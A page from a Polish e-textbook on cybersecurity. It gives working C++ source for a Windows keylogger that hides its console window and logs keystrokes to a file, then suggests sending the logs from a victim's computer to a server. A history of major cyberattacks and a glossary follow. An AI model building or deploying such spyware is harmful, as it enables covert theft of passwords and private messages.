Wróć do informacji o e-podręczniku Wydrukuj Pobierz materiał do PDF Pobierz materiał do EPUB Pobierz materiał do MOBI Zaloguj się, aby dodać do ulubionych Zaloguj się, aby skopiować i edytować materiał Zaloguj się, aby udostępnić materiał Zaloguj się, aby dodać całą stronę do teczki

Implementacja prostego keyloggera

KeyloggerkeyloggerKeylogger jest złośliwą aplikacją należącą do kategorii programów szpiegujących. Zadaniem keyloggerów jest przechwytywanie informacji o klawiszach naciskanych przez użytkownika. W rezultacie atakujący uzyskuje dostęp do treści edytowanych dokumentów, wiadomości tekstowych oraz danych autoryzacyjnych do serwisów internetowych.

Napisanie prostego keyloggera działającego w systemie Windows jest całkiem łatwe. Skorzystamy z biblioteki Windows.h. Zdefiniowane w niej funkcje pozwolą nam ukryć okno konsoli programu oraz przechwytywać informacje o naciśniętych klawiszach.

Informacje o tym, które klawisze zostały naciśnięte, będziemy zapisywać w lokalnym pliku. W tym celu wykorzystamy bibliotekę fstream.

Oto kod keyloggera:

Linia 1. kratka include otwórz nawias ostrokątny Windows kropka h zamknij nawias ostrokątny. Linia 2. kratka include otwórz nawias ostrokątny fstream zamknij nawias ostrokątny. Linia 3. kratka include otwórz nawias ostrokątny iostream zamknij nawias ostrokątny. Linia 5. int main otwórz nawias okrągły zamknij nawias okrągły otwórz nawias klamrowy. Linia 6. prawy ukośnik prawy ukośnik Najpierw ukryjemy okno terminala naszego programu. Linia 7. ShowWindow otwórz nawias okrągły GetConsoleWindow otwórz nawias okrągły zamknij nawias okrągły przecinek SW podkreślnik HIDE zamknij nawias okrągły średnik. Linia 9. prawy ukośnik prawy ukośnik Tworzymy obiekt pliku. Linia 10. std dwukropek dwukropek fstream plik średnik. Linia 12. prawy ukośnik prawy ukośnik Następnie nieskonczona pętla przechwytująca klawisze. Linia 13. while otwórz nawias okrągły true zamknij nawias okrągły otwórz nawias klamrowy. Linia 14. for otwórz nawias okrągły int znak znak równości 32 średnik znak otwórz nawias ostrokątny znak równości 126 średnik znak plus plus zamknij nawias okrągły. Linia 15. prawy ukośnik prawy ukośnik Sprawdzamy czy dany klawisz jest wciśnięty. Linia 16. if otwórz nawias okrągły GetAsyncKeyState otwórz nawias okrągły znak zamknij nawias okrągły znak równości znak równości minus 32767 zamknij nawias okrągły otwórz nawias klamrowy. Linia 17. prawy ukośnik prawy ukośnik Zapisujemy znak do pliku. Linia 18. plik kropka open otwórz nawias okrągły cudzysłów logfile kropka txt cudzysłów przecinek std dwukropek dwukropek fstream dwukropek dwukropek app zamknij nawias okrągły średnik. Linia 19. plik otwórz nawias ostrokątny otwórz nawias ostrokątny otwórz nawias okrągły char zamknij nawias okrągły znak średnik. Linia 20. plik kropka close otwórz nawias okrągły zamknij nawias okrągły średnik. Linia 21. zamknij nawias klamrowy. Linia 22. zamknij nawias klamrowy. Linia 23. zamknij nawias klamrowy.

Zaprezentowany tu keylogger jest bardzo prosty. Przechwytuje on wyłącznie litery alfabetu łacińskiego i cyfry. Program można jednak ulepszyć tak, aby przechwytywał także znaki specjalne.

Informacje o naciśniętych klawiszach są zapisywane w specjalnym pliku na dysku lokalnym. Można również zmodyfikować kod tak, aby dane te zostały przesłane na serwer, o ile komputer ofiary ataku jest połączony z internetem.

Możliwości rozbudowy przedstawionego programu są naprawdę ogromne. Jedynym ograniczeniem mogą tu być doświadczenie i umiejętności programisty.

Historia najsłynniejszych cyberataków

Rozwój technologii sprawił, że dużą część codziennych aktywności przenieśliśmy do internetu. Coraz częściej robimy w sieci zakupy, płacimy rachunki, a nawet wnioskujemy o kredyty. Z globalnej sieci korzystają zarówno osoby indywidualne, jak i przedsiębiorstwa. Trudno sobie wyobrazić codzienne funkcjonowanie bez dostępu do internetu.

Skutkiem ubocznym tej sytuacji jest jednak wzrost liczby cyberataków. Przybierają one najróżniejsze formy - od kradzieży tożsamości, przez wyłudzenia i szantaże, aż po ograniczenie funkcjonalności komputerów, systemów informatycznych oraz usług sieciowych.

Robak Morrisa

RLh0QfbDWsVee1
Źródło: Contentplus.pl Sp. z o.o., licencja: CC BY-SA 3.0.

Robak Morrisa był pierwszym wirusem komputerowym, który pojawił się w internecie. Został napisany w 1988 r. przez Roberta Morrisa. Programista postawił sobie za cel uświadomienie administratorom słabości ich systemów poprzez zaprezentowanie możliwości przenoszenia się programu z jednego komputera na inny.

Program wykorzystywał kilka błędów istniejących w atakowanych systemach. Intencją Morrisa nie było spowodowanie większych problemów w ich działaniu, ostatecznie jednak wirus okazał się bardzo szkodliwy. Program powielał liczbę własnych kopii w nieskończoność, co przekładało się na ogromne zużycie zasobów zainfekowanego komputera. Zarażonych zostało ponad 6 tysięcy urządzeń - pod koniec lat 80. stanowiły one około 10 procent komputerów podłączonych do internetu.

Robak Morrisa stał się inspiracją dla autorów kolejnych wirusów oraz ataków DoSatak DoSataków DoS (z ang. Denial of Service).

Ataki DDoS

Pierwszy znany atak DDoSatak DDoSatak DDoS (z ang. Distributed Denial of Service) nastąpił w 1996 r. Jego ofiarą padł jeden z najstarszych dostawców usług internetowych – firma Panix. W ciągu następnych kilku lat ataki DDoS stały się bardzo powszechne, a w roku 2018 odnotowano ich już łącznie 7,9 miliona. Przewiduje się, że do roku 2023 liczba ta ulegnie podwojeniu.

Wraz z upływem czasu zwiększa się nie tylko liczba samych ataków, ale również ich skuteczność oraz zasięg. Atakujący tworzą coraz większe botnetybotnetbotnety, dzięki czemu zyskują ogromną moc obliczeniową. Ataki te stają się poważnym zagrożeniem dla firm prowadzących działalność internetową, ponieważ mogą spowodować przerwę w działaniu serwisu, co z kolei wiąże się z ogromnymi stratami finansowymi.

Atak na usługi chmurowe Amazona

Największy w historii atak DDoS nastąpił w lutym 2020 r. Jego celem był pewien serwis internetowy korzystający z usług serwerowych firmy Amazon. Do ataku została użyta technika wykorzystująca protokół CLDAP (z ang. Connectionless Lightweight Directory Access Protocol). Atak trwał przez trzy dni, a dane ze strony agresora były przesyłane z rekordową prędkością ponad dwóch terabajtów na sekundę.

Atak na firmę Dyn

Dyn jest amerykańskim serwisem oferującym usługi DNS. W roku 2016 firma ta padła ofiarą jednego z największych ataków DDoS, co doprowadziło do wyjątkowo destrukcyjnych rezultatów – ponad 80 serwisów korzystających z usług Dyn przestało funkcjonować. Wśród poszkodowanych znaleźli się Amazon, Netflix, Airbnb, Spotify, Twitter, PayPal oraz Reddit. Straty finansowe szacuje się na 110 milionów dolarów.

Ataki ransomware

RnFEzbM2YCRmw1
Źródło: Contentplus.pl Sp. z o.o., licencja: CC BY-SA 3.0.

Ransomware jest rodzajem złośliwego oprogramowania, którego działanie polega na blokowaniu dostępu do systemu komputerowego bądź zapisanych w nim danych. Najczęściej wykorzystuje się przy tym różnego rodzaju mechanizmy szyfrowania i żąda od ofiary ataku okupu za odkodowanie informacji. Forma tego ataku jest prosta, a zarazem wyjątkowo szkodliwa.

WannaCry

Atak z użyciem oprogramowania ransomware WannaCry nastąpił w maju 2017 r. Złośliwy program rozprzestrzeniał się na całym świecie przez cztery dni; szyfrował on pliki znajdujące się na komputerze ofiary, a następnie żądał opłaty w wysokości 300 dolarów w formie kryptowaluty. Szacuje się, że dotknął ponad 200 tysięcy komputerów w 150 krajach. Całkowite szkody finansowe spowodowane działaniem tego ataku mogły wynieść nawet 4 miliardy dolarów, co czyni go jednym z najbardziej szkodliwych zdarzeń tego typu.

NotPetya

Program NotPetya pojawił się w czerwcu 2017 r. Zasłynął on tym, że tylko udawał, iż atakuje w taki sam sposób, jak inne programy typu ransomware - podobnie jak w przypadku WannaCry, szyfrowane były pliki znajdujące się na dysku ofiary, od której następnie żądano okupu. Jednak w rzeczywistości algorytm szyfrowania danych skonstruowany był tak, aby skutków jego zastosowania nie dało się już odwrócić.

Wycieki danych

Wiele ataków koncentruje się na wydobyciu wrażliwych danych z systemów informatycznych. Dane użytkowników wielu serwisów internetowych wyciekły z powodu luk w systemach zabezpieczających.

Największy taki wyciek miał miejsce na przełomie lat 2013 i 2014. Przechwycone zostały wówczas dane około trzech miliardów użytkowników serwisu Yahoo. Znalazły się wśród nich takie informacje, jak nazwiska, daty urodzenia, adresy e‑mail, hasła oraz odpowiedzi na pytania kontrolne (spełniające rolę danych zabezpieczających).

W internecie działają specjalne witryny poświęcone wyciekom danych – użytkownik może tam sprawdzić, czy jego adres e‑mail znalazł się w plikach, które wyciekły do sieci.

Słownik

keylogger
keylogger

oprogramowanie szpiegujące, którego zadaniem jest rejestrowanie klawiszy naciskanych przez użytkownika systemu

atak DoS
atak DoS

(z ang. Denial of Serivce) rodzaj ataku na system komputerowy bądź usługę sieciową, który polega na zablokowaniu działania urządzenia lub serwisu

atak DDoS
atak DDoS

(z ang. Distributed Denial of Service) odmiana ataku DoS; jej istotą jest atakowanie systemu lub usługi z wielu komputerów równocześnie

botnet
botnet

grupa komputerów zainfekowanych szkodliwym oprogramowaniem, które pozostaje ukryte przed użytkownikiem; twórca programu ma zdalną kontrolę nad zainfekowanymi urządzeniami